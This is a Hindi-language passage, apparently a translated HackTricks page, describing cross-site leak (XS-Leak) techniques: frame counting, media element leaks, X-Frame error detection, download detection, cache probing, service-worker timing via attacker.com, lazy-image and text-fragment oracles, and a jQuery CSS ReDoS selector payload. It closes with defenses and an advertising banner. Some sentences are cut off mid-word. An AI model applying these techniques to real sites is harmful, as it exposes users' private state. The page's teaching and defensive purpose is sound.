इसके अलावा, यदि पेज में हमेशा एक ही संख्या की फ्रेमें होती हैं, तो फ्रेमों की संख्या की नियमित रूप से जांच करने से एक पैटर्न की पहचान की जा सकती है जो जानकारी लीक कर सकता है।

इस तकनीक का एक उदाहरण यह है कि क्रोम में, एक पीडीएफ को फ्रेम गिनती के साथ पहचाना जा सकता है क्योंकि इसमें आंतरिक रूप से embed का उपयोग होता है। इसमें ओपन URL पैरामीटर होते हैं जो सामग्री पर कुछ नियंत्रण प्रदान करते हैं जैसे ज़ूम, व्यू, पेज, टूलबार जहां यह तकनीक दिलचस्प हो सकती है।

HTMLElements

कुछ वेबपेज उपयोगकर्ता जानकारी पर आधारित डाइनेमिक रूप से मीडिया फ़ाइलें उत्पन्न कर सकते हैं या मीडिया के आकार में पानी के निशान जोड़ सकते हैं। एक हमलावर इन HTML तत्वों द्वारा लीक हुई जानकारी का उपयोग करके संभावित स्थितियों के बीच अंतर का पता लगा सकता है।

कुछ HTMLElements क्रॉस-उत्पन्नों को मीडिया के प्रकार के रूप में लीक करेंगे:

  • HTMLMediaElement मीडिया अवधि और बफर की गई समय को लीक करता है।
  • HTMLVideoElement videoHeight और videoWidth को लीक करता है, कुछ ब्राउज़रों में webkitVideoDecodedByteCount, webkitAudioDecodedByteCount और webkitDecodedFrameCount भी हो सकते हैं।
  • getVideoPlaybackQuality() totalVideoFrames को लीक करता है।
  • HTMLImageElement ऊँचाई और चौड़ाई को लीक करता है, लेकिन यदि छवि अमान्य है तो वे 0 हो जाएंगे और image.decode() अस्वीकृति प्राप्त करेगा।

CSS Property

वेब एप्लिकेशन उपयोगकर्ता की स्थिति पर निर्भर करके वेबसाइट स्टाइलिंग बदल सकती है। क्रॉस-उत्पन्न CSS फ़ाइलें HTML लिंक तत्व के साथ हमलावर पृष्ठ में सम्मिलित की जा सकती हैं, और नियमों को हमलावर पृष्ठ पर लागू किया जाएगा। यदि कोई पृष्ठ डाइनेमिक रूप से इन नियमों को बदलता है, तो हमलावर इस उपयोगकर्ता स्थिति के आधार पर इन अंतरों का पता लगा सकता है
एक लीक तकनीक के रूप में, हमलावर उपयोगकर्ता द्वारा निर्दिष्ट HTML तत्व के CSS गु

ContentDocument X-Frame लीक

  • सम्मिलन विधियाँ: फ्रेम्स
  • पता लगाने योग्य अंतर: हैडर्स
  • अधिक जानकारी: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
  • सारांश: GC में, जब एक पृष्ठ को X-Frame-Options के कारण क्रॉस-उत्पन्न पृष्ठ पर सम्मिलित करने की अनुमति नहीं होती है, तो एक त्रुटि पृष्ठ दिखाया जाता है
  • कोड उदाहरण: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak

Chrome में, जब एक पृष्ठ को क्रॉस-उत्पन्न पृष्ठ पर सम्मिलित करने की अनुमति नहीं होती है, क्योंकि X-FrameOptions (XFO) हैडर को निषेध या समान-स्रोत में सेट किया जाता है, तो एक त्रुटि पृष्ठ दिखाया जाता है इसके बजाय। ऑब्जेक्ट के लिए, इस त्रुटि पृष्ठ को contentDocument प्रॉपर्टी की जांच करके पता लगाया जा सकता है। सामान्यतः, यह प्रॉपर्टी null लौटाती है क्योंकि क्रॉस-उत्पन्न सम्मिलित दस्तावेज़ तक पहुंच की अनुमति नहीं होती है। हालांकि, Chrome के रेंडरिंग के कारण, एक खाली दस्तावेज़ ऑब्जेक्ट लौटाया जाता है। यह iframes के लिए काम नहीं करता है या अन्य ब्राउज़र में। डेवलपर्स अक्सर सभी पृष्ठों के लिए X-Frame-Options सेट करना भूल सकते हैं और विशेष रूप से त्रुटि पृष्ठों में यह हैडर छूट जाता है। एक लीक तकनीक के रूप में, एक हमलावर इसे जांचकर विभिन्न उपयोगकर्ता स्थितियों के बीच अंतर का पता लगा सकता है।

डाउनलोड का पता लगाना

  • सम्मिलन विधियाँ: फ्रेम्स, पॉप-अप्स
  • पता लगाने योग्य अंतर: हैडर्स
  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
  • सारांश: हमलावर आईफ्रेम का उपयोग करके डाउनलोड का पता लगा सकता है। यदि आईफ्रेम अभी भी पहुंचयोग्य है, तो फ़ाइल डाउनलोड किया गया था।
  • कोड उदाहरण: https://xsleaks.dev/docs/attacks/navigations/#download-bar

Content-Disposition हैडर (Content-Disposition: attachment) इसका संकेत देता है कि ब्राउज़र को सामग्री को डाउनलोड करना चाहिए या इसे इनलाइन दिखाना चाहिए।

यदि केवल लॉग इन किए गए उपयोगकर्ता को एक पृष्ठ तक पहुंचने की अनुमति होगी जो एक फ़ाइल डाउनलोड करेगा क्योंकि यह हैडर का उपयोग कर रहा है। ऐसा व्यवहार पता लगाना संभव है।

डाउनलोड बार

Chromium-आधारित ब्राउज़र में, जब एक फ़ाइल डाउनलोड होता है, डाउनलोड प्रक्रिया का नीचे एक बार में एक पूर्वावलोकन दिखाई देता है, जो ब्राउज़र विंडो में समाहित होता है। विंडो की ऊचाई का मॉनिटरिंग करके हमलावर यह जांच सकते हैं कि क्या "डाउनलोड बार" खुला है।

डाउनलोड नेविगेशन (आईफ्रेम के साथ)

Content-Disposition: attachment हैडर की जांच करने का एक और तरीका है जांचें कि क्या एक नेविगेशन हुआ है। यदि पृष्ठ लोड डाउनलोड को कारण बनाता है, तो यह नेविगेशन ट्रिगर नहीं करता है और विंडो समान मूल में बनी रहती है

डाउनलोड नेविगेशन (आईफ्रेम के बिना)

पिछले तकनीक की तरह, लेकिन इसमें आईफ्रेम के बजाय window.open का उपयोग किया जाता

एबोर्टकंट्रोलर के साथ फेच

  • समावेश विधियाँ: फेच एपीआई
  • पता लगाने वाला अंतर: समय
  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
  • सारांश: एक संसाधन को लोड करने का प्रयास करना संभव है और इसे लोड होने से पहले लोडिंग रुक जाती है। यदि एक त्रुटि ट्रिगर होती है, तो संसाधन कैश किया गया था या नहीं था इस पर निर्भर करेगा।
  • कोड उदाहरण: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller

एबोर्टकंट्रोलर को फेच और setTimeout के साथ कंबाइन किया जा सकता है ताकि यह पता लगाया जा सके कि क्या संसाधन कैश किया गया है और ब्राउज़र कैश से एक विशेष संसाधन को निकाला जा सके। इस तकनीक की एक अच्छी विशेषता यह है कि प्रोबिंग नई सामग्री को कैश करते हुए होती है।

स्क्रिप्ट प्रदूषण

  • समावेश विधियाँ: HTML तत्व (स्क्रिप्ट)
  • पता लगाने वाला अंतर: पृष्ठ सामग्री
  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
  • सारांश: जब एक क्रॉस-संसाधन स्क्रिप्ट पृष्ठ पर शामिल होता है, तो इसकी सामग्री को सीधे पढ़ना संभव नहीं होता है। हालांकि, यदि एक स्क्रिप्ट किसी भी अंतर्निहित फ़ंक्शन का उपयोग करता है, तो उसे अधिलेखित किया जा सकता है और उनके तर्क पढ़े जा सकते हैं जो महत्वपूर्ण जानकारी छिड़कने के लिए हो सकती है।
  • कोड उदाहरण: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

सेवा कर्मचारी

  • समावेश विधियाँ: पॉप-अप
  • पता लगाने वाला अंतर: पृष्ठ सामग्री
  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
  • सारांश: सेवा कर्मचारी का उपयोग करके एक वेब का क्रियान्वयन समय मापा जा सकता है।
  • कोड उदाहरण:
  1. हमलावर अपने डोमेन में सेवा कर्मचारी को पंजीकृत करता है (attacker.com में)।
  2. मुख्य दस्तावेज़ीकरण में, हमलावर लक्षित वेबसाइट पर नेविगेशन (विंडो.ओपन) जारी करता है और सेवा कर्मचारी को टाइमर शुरू करने के निर्देश देता है।
  3. जब नई विंडो लोड होना शुरू होती है, हमलावर दस्तावेज़ीकरण में प्राप्त संदर्भ को सेवा कर्मचारी द्वारा संचालित पृष्ठ पर नेविगेट करता है।
  4. जब चरण 3 में किया गया अनुरोध सेवा कर्मचारी तक पहुंचता है, तो यह एक 204 (कोई सामग्री नहीं) प्रतिक्रिया वापस करता है, जिससे नेविगेशन रद्द हो जाता है।
  5. इस बिंदु पर, सेवा कर्मचारी चरण 2 में शुरू किए गए टाइमर से एक माप इकट्ठा करता है। इस माप को यह प्रभावित करता है कि जावास्क्रिप्ट नेविगेशन को कितना समय ब्लॉक करता है।

{% hint style="warning" %} एक क्रियान्वयन समय में नेटवर्क कारकों को नष्ट करके अधिक सटीक माप प्राप्त किया जा सकता है। उदाहरण के लिए, पृष्ठ को लोड करने से पहले पृष्ठ द्वारा उपयोग की जाने वाली संसाधनों को लोड करके। {% endhint %}

फेच टाइमिंग

<img src=/something loading=lazy >

इसलिए, आपका काम हो सकता है कि आप बहुत सारे बेकार अक्षर जोड़ें (उदाहरण के लिए हजारों "W") को गुप्त से पहले वेब पेज भरने के लिए या कुछ ऐसा जोड़ें <br><canvas height="1850px"></canvas><br>.
फिर यदि उदाहरण के लिए हमारा इंजेक्शन झंडे से पहले आता है, तो छवि लोड होगी, लेकिन यदि झंडे के बाद आता है, तो झंडा + बेकार अक्षर इसे लोड होने से रोकेगा (आपको रखने के लिए कितने बेकार अक्षर रखने की जरूरत होगी, इसके साथ खेलने की आवश्यकता होगी)। यही हुआ इस व्राइटअप में

एक और विकल्प हो सकता है कि आप scroll-to-text-fragment का उपयोग करें, यदि यह अनुमति होती है:

Scroll-to-text-fragment

हालांकि, आप बॉट को पृष्ठ तक पहुंचने दें कुछ इस तरह से

#:~:text=SECR

इसलिए वेब पेज कुछ इस तरह से होगा: https://victim.com/post.html#:~:text=SECR

जहां post.html में हमलावर जंक चार्स और आलसी लोड इमेज होगी और फिर बॉट का रहस्य जोड़ा जाएगा।

यह पाठ बॉट को पृष्ठ में शामिल किए गए पाठ का उपयोग करने के लिए करेगा जो SECR टेक्स्ट को सम्मिलित करेगा। जैसा कि यह पाठ रहस्य है और यह चित्र के नीचे ही है, चित्र केवल तब ही लोड होगा जब अनुमानित रहस्य सही होगा। इसलिए यहां आपके पास अपना ओरेकल है जिसके माध्यम से आप रहस्य को अक्षर-अक्षर निकाल सकते हैं

इसे उत्पन्न करने के लिए कुछ कोड उदाहरण: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

इमेज आलसी लोडिंग समय आधारित

यदि एक बाहरी इमेज लोड करना संभव नहीं है जो हमलावर को इसकी जानकारी देती है कि इमेज लोड हो गई है, तो एक और विकल्प हो सकता है कि कई बार अक्षर को अनुमान लगाएं और उसे मापें। यदि इमेज लोड होती है तो सभी अनुरोधों में अधिक समय लगेगा जबकि इमेज लोड नहीं होती है तो कम समय लगेगा। यही वह चीज है जिसका उपयोग इस व्रिटअप के समाधान में किया गया था यहां संक्षेप में दिया गया है:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

यदि jQuery(location.hash) का उपयोग किया जाता है, तो समय के माध्यम से पता लगाया जा सकता है कि क्या कुछ HTML सामग्री मौजूद है, यह इसलिए है क्योंकि यदि चयनकर्ता main[id='site-main'] से मेल नहीं खाता है तो इसे बाकी चयनकर्ताओं की जांच करने की आवश्यकता नहीं होती है:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

रक्षा

इस खंड में आप https://xsinator.com/paper.pdf में सिफारिश की गई कुछ सुरक्षा उपायों का हिस्सा देख सकते हैं, हालांकि, विकि के प्रत्येक खंड में अधिक सुरक्षा उपाय हैं https://xsleaks.dev/। इन तकनीकों से बचने के बारे में अधिक जानकारी के लिए वहां देखें।

सम्मिलन विधि की सुरक्षा

  • HTML तत्व. यह CORP हैडर का उपयोग कर सकता है ताकि पृष्ठों को संसाधित संसाधनों को सम्मिलित करने की अनुमति हो सके। CORP को समान-मूल या समान-साइट के रूप में सेट किया जा सकता है और उस संसाधन के लिए किसी भी पार-संसाधन या पार-साइट अनुरोध को ब्लॉक करता है। ग्राहक साइट पर, Chromium आधारित ब्राउज़र CORB एल्गोरिदम का उपयोग करते हैं ताकि यह निर्णय कर सकें कि पार-संसाधन संसाधन अनुरोधों को अनुमति दी जानी चाहिए या नहीं।
  • फ्रेम. आईफ्रेम तत्वों को HTML संसाधनों को लोड करने से रोकने के लिए मुख्य सुरक्षा उपाय है X-Frame-Options का उपयोग करना। वैकल्पिक रूप में, CSP निर्देशिका frame-ancestors एक समान परिणाम प्राप्त कर सकती है। यदि सम्मिलन को नकारा जाता है, तो सम्मिलन विधि में प्रतिक्रियाओं में कोई अंतर नहीं पाया जा सकता है।
  • पॉप-अप. window.opener तक पहुंच को प्रतिबंधित करने के लिए, COOP HTTP प्रतिक्रिया हैडर तीन अलग-अलग मानों को परिभाषित करता है: unsafe-none (डिफ़ॉल्ट), same-origin-allow-popups और same-origin। इन मानों का उपयोग करके ब्राउज़िंग टैब्स और पॉप-अप्स को अलग करके, और इस प्रकार, पॉप-अप पर आधारित लीक तकनीकों को रोकता है।
  • JavaScript अनुरोध. पार-संसाधन JavaScript अनुरोधों का अक्सर XS-Leak हमलों में उपयोग किया जाता है, क्योंकि हमलावर को जारी किए गए अनुरोध पर ठीक-से नियंत्रण होता है। हालांकि, ये अनुरोध CORS सक्षम नहीं होते हैं, इसलिए इन्हें स्क्रिप्ट या छवियों की तरह HTML तत्वों द्वारा भेजे गए अनुरोधों की तरहीं प्रतिबंधित किए जाने की सीमाएं होती हैं। इस प्रकार, CORP और CORB द्वारा इस लीक तकनीक का प्रभाव भी कम किया जा सकता है

और जनेरिक तरीके:

  • फेच मेटाडेटा. ये अनुरोध हेडर सर्वर मालिकों को बेहतर ढंग से समझने की अनुमति देते हैं कि उपयोगकर्ता के ब्राउज़र ने एक विशिष्ट अनुरोध को कैसे उत्पन्न किया है। Chrome में, Sec-Fetch-* हेडर्स को स्वचालित रूप से प्रत्येक अनुरोध में जोड़ा जाता है और अनुरोध के मूल्य के बारे में मेटाडेटा प्रदान करता है। उदाहरण के लिए, Sec-Fetch-Dest: image एक छवि तत्व से ट्रिगर हुआ था। वेब अनुप्रयोग फिर उस जानकारी के आधार पर अनुरोधों को ब्लॉक करने का चयन कर सकते हैं।
  • Same-Site कुकीज़. Same-Site कुकीज़ फ्लैग वेबसाइटों को घोषित करने की अनुमति देता है कि क्या कुकी समान-साइट या पहली-पक्ष संदर्भ में सीमित होनी चाहिए। सभी प्रमुख ब्राउज़र Same-Site कुकीज़ का समर्थन करते हैं। GC में, विशेषता के बिना कुकीज़ अब डिफ़ॉल्ट रूप से Lax हैं। XS-Leaks के मामले में, Same-Site कुकीज़ लीक हमला संभावनाओं को बहुत हद तक सीमित करती हैं। दूसरी ओर, window.open के साथ SameSite=Lax काम करती हैं। वेबसाइट जो अन्य प्रमाणीकरण विधियों, जैसे क्लाइंट-साइड प्रमाणपत्र और HTTP प्रमाणीकरण, संवेदनशील रहती हैं
  • पार-संसाधन पहचानकर्ता अविंग्यता (COIU). COIU, जिसे पहले से ही Tor ब्राउज

संदर्भ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Trickest का उपयोग करें और आसानी से बनाएं और स्वचालित कार्यप्रवाह बनाएं जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित होता है।
आज ही पहुंच प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}